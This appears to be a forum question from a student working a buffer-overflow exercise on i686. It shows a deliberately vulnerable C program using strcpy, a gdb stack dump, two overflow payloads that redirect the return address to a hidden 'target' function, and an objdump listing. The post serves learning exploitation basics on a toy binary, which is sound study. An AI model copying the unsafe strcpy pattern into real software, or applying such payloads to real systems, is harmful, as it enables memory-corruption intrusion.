title: Exploit a buffer overflow
body: <p>For my studies I try to create a payload so that it overflows the buffer and calls a "secret" function called "target"</p>
  
  <p>This is the code I use for testing on an i686</p>
  
  <pre><code>#include "stdio.h"
  #include "string.h"
  void target() {
    printf("target\n");
  }
  void vulnerable(char* input) {
    char buffer[16];
    strcpy(buffer, input);
  }
  int main(int argc, char** argv) {
    if(argc == 2)
      vulnerable(argv[1]);
    else
      printf("Need an argument!");
  
    return 0;
  }
  </code></pre>
  
  <p><strong>Task 1</strong>: Create a payload so that target() is being called.
  This was rather easy to do by replacing the EIP with the address of the target function.</p>
  
  <p>This is how the buffer looks</p>
  
  <pre><code>Buffer
  (gdb) x/8x buffer
  0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
  0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca
  </code></pre>
  
  <p>Payload I used was: </p>
  
  <pre><code>run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'
  </code></pre>
  
  <p>This works fine but stops with a segmentation fault.</p>
  
  <p><strong>Task 2:</strong> Modify the payload in a way that it does not give a segmentation fault</p>
  
  <p>This is where I am stuck. Obviously it causes a segmentation fault because we do not call target with the call instruction and therefore there is no valid return address. </p>
  
  <p>I tried to add the return address on the stack but that did not help</p>
  
  <pre><code>run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
  </code></pre>
  
  <p>Maybe someone can help me out with this. Probably I also have to add the saved EBP of main?</p>
  
  <p>I attach the objdump of the programm</p>
  
  <pre><code>0804847d &lt;target&gt;:
   804847d:   55                      push   %ebp
   804847e:   89 e5                   mov    %esp,%ebp
   8048480:   83 ec 18                sub    $0x18,%esp
   8048483:   c7 04 24 70 85 04 08    movl   $0x8048570,(%esp)
   804848a:   e8 c1 fe ff ff          call   8048350 &lt;puts@plt&gt;
   804848f:   c9                      leave  
   8048490:   c3                      ret    
  
  08048491 &lt;vulnerable&gt;:
   8048491:   55                      push   %ebp
   8048492:   89 e5                   mov    %esp,%ebp
   8048494:   83 ec 28                sub    $0x28,%esp
   8048497:   8b 45 08                mov    0x8(%ebp),%eax
   804849a:   89 44 24 04             mov    %eax,0x4(%esp)
   804849e:   8d 45 e8                lea    -0x18(%ebp),%eax
   80484a1:   89 04 24                mov    %eax,(%esp)
   80484a4:   e8 97 fe ff ff          call   8048340 &lt;strcpy@plt&gt;
   80484a9:   c9                      leave  
   80484aa:   c3                      ret    
  
  080484ab &lt;main&gt;:
   80484ab:   55                      push   %ebp
   80484ac:   89 e5                   mov    %esp,%ebp
   80484ae:   83 e4 f0                and    $0xfffffff0,%esp
   80484b1:   83 ec 10                sub    $0x10,%esp
   80484b4:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)
   80484b8:   75 12                   jne    80484cc &lt;main+0x21&gt;
   80484ba:   8b 45 0c                mov    0xc(%ebp),%eax
   80484bd:   83 c0 04                add    $0x4,%eax
   80484c0:   8b 00                   mov    (%eax),%eax
   80484c2:   89 04 24                mov    %eax,(%esp)
   80484c5:   e8 c7 ff ff ff          call   8048491 &lt;vulnerable&gt;
   80484ca:   eb 0c                   jmp    80484d8 &lt;main+0x2d&gt;
   80484cc:   c7 04 24 77 85 04 08    movl   $0x8048577,(%esp)
   80484d3:   e8 58 fe ff ff          call   8048330 &lt;printf@plt&gt;
   80484d8:   b8 00 00 00 00          mov    $0x0,%eax
   80484dd:   c9                      leave  
   80484de:   c3                      ret    
   80484df:   90                      nop
  </code></pre>